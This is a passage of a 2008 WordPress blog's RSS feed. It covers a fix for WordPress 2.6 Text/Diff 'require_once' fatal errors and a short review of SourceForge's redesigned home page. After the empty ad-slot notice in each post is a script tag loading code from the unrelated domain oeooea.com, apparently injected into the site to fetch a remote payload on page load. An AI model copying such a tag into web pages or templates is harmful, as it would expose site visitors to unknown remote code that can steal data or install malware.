<p>Apparently this is due to my hosting provider that have disabled the use the the PHP function ini_set(). Great !!! how do i edit post that i have edited before&#8230; fortunately i found out someone that came up with a solution <img src='http://www.wacdesigns.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>Please note that this issue is only for WP 2.6 and is cause by the new Revision module that allows you to view a revision of your post before it was edited.</p>
<p>Here is the link to the solution for this problem:<a href="http://www.code-styling.de/english/wordpress-26-and-the-textdiff-fatal-errors" target="_blank">http://www.code-styling.de/english/wordpress-26-and-the-textdiff-fatal-errors</a></p>
<p>I also found another solution for those who don&#8217;t want to download the modified WP source file that is proposed in the first solution</p>
<p>Edit the <strong>wp-includes/Text/Diff.php</strong>, line 52 :<br />
[php]<br />
require_once ABSPATH . WPINC . &#8216;/Text/Diff/Engine/&#8217; . $engine . &#8216;.php&#8217;;<br />
[/php]</p>
<p>Edit the <strong>wp-includes/Text/Diff/Renderer/inline.php</strong>, line 17 :<br />
[php]<br />
require_once ABSPATH . WPINC . &#8216;/Text/Diff/Renderer.php&#8217;;<br />
[/php]<br />
<p class="error"><strong>[ad]</strong> Empty ad slot (#1)!</p><script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.wacdesigns.com/2008/08/02/fatal-error-require_once-functionrequire-failed-opening-required-textdiffrendererphp/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Sourceforge.net redesigned home page</title>
		<link>http://www.wacdesigns.com/2008/07/24/sourceforgenet-redesigned-home-page/</link>
		<comments>http://www.wacdesigns.com/2008/07/24/sourceforgenet-redesigned-home-page/#comments</comments>
		<pubDate>Thu, 24 Jul 2008 09:32:14 +0000</pubDate>
		<dc:creator>jf</dc:creator>
				<category><![CDATA[Cool Sites]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[open source]]></category>
		<category><![CDATA[sourceforge]]></category>
		<category><![CDATA[Web 2.0]]></category>

		<guid isPermaLink="false">http://www.wacdesigns.com/?p=93</guid>
		<description><![CDATA[While searching for some open source software today, i just bumbed onto a &#8220;new&#8221;: Streamed and clearer version of sourceforge.net website. It&#8217;s quiet nice i may say, when u enter the page, u don&#8217;t have a lot of stuff, like the normal one. It&#8217;s a Google like home page i may say, not many actions,]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.wacdesigns.com/wp-content/uploads/2008/07/sourceforge.jpg"><img class="alignleft size-thumbnail wp-image-94" title="sourceforge" src="http://www.wacdesigns.com/wp-content/uploads/2008/07/sourceforge-150x150.jpg" alt="" width="150" height="150" /></a>While searching for some open source software today, i just bumbed onto a &#8220;new&#8221;: Streamed and clearer version of <a title="SourceForge" href="http://sourceforge.net/?abmode=1" target="_blank">sourceforge.net</a> website. It&#8217;s quiet nice i may say, when u enter the page, u don&#8217;t have a lot of stuff, like the normal one.</p>
<p>It&#8217;s a Google like home page i may say, not many actions, but the essentials that are needed is visible. Let&#8217;s say is more web 2.0</p>
<p>The bright orange is a bit too flashy and takes up too much of the screen i may think. It could have been a bit smaller.</p>
<p>For those who don&#8217;t what sourceforge.net is about here is a part of the description from wikipedia:</p>
<blockquote><p><strong>SourceForge.net</strong> is a <a title="Source code repository" href="http://en.wikipedia.org/wiki/Source_code_repository" target="_blank">source code repository</a> and acts as a centralized location for software developers to control and manage open source software development. SourceForge.net is operated by <a title="Sourceforge, Inc." href="http://en.wikipedia.org/wiki/Sourceforge%2C_Inc." target="_blank">Sourceforge, Inc.</a> (formerly VA Software) and runs a version of the <a title="SourceForge Enterprise Edition" href="http://en.wikipedia.org/wiki/SourceForge_Enterprise_Edition" target="_blank">SourceForge</a> software, <a title="Fork (software development)" href="http://en.wikipedia.org/wiki/Fork_%28software_development%29" target="_blank">forked</a> from the last open-source version available. A large number of open source projects are hosted on the site (it had reached 178,832 projects and 1,861,990 registered users<sup id="cite_ref-1" class="reference"><a href="http://en.wikipedia.org/wiki/SourceForge#cite_note-1" target="_blank">[2]</a></sup> as of 2008, although it does contain many dormant or single-user projects).</p>
<p>SourceForge.net has offered free access to hosting and tools for developers of <a title="Free software" href="http://en.wikipedia.org/wiki/Free_software" target="_blank">free software</a> / <a title="Open source software" href="http://en.wikipedia.org/wiki/Open_source_software" target="_blank">open source software</a> for several years, and has become well-known within such development communities for these services.</p>
<p>SourceForge.net competes with other providers such as <a title="RubyForge" href="http://en.wikipedia.org/wiki/RubyForge" target="_blank">RubyForge</a>, <a title="Tigris.org" href="http://en.wikipedia.org/wiki/Tigris.org" target="_blank">Tigris.org</a>, <a title="BountySource" href="http://en.wikipedia.org/wiki/BountySource" target="_blank">BountySource</a>, <a title="BerliOS" href="http://en.wikipedia.org/wiki/BerliOS" target="_blank">BerliOS</a>, <a title="JavaForge" href="http://en.wikipedia.org/wiki/JavaForge" target="_blank">JavaForge</a> and <a title="GNU Savannah" href="http://en.wikipedia.org/wiki/GNU_Savannah" target="_blank">GNU Savannah</a>.</p>
<p>Read more about sourceforge <a title="Wikipedia  Sourceforge" href="http://en.wikipedia.org/wiki/SourceForge" target="_blank">here</a>.</p></blockquote>
<p><p class="error"><strong>[ad]</strong> Empty ad slot (#1)!</p><script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.wacdesigns.com/2008/07/24/sourceforgenet-redesigned-home-page/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
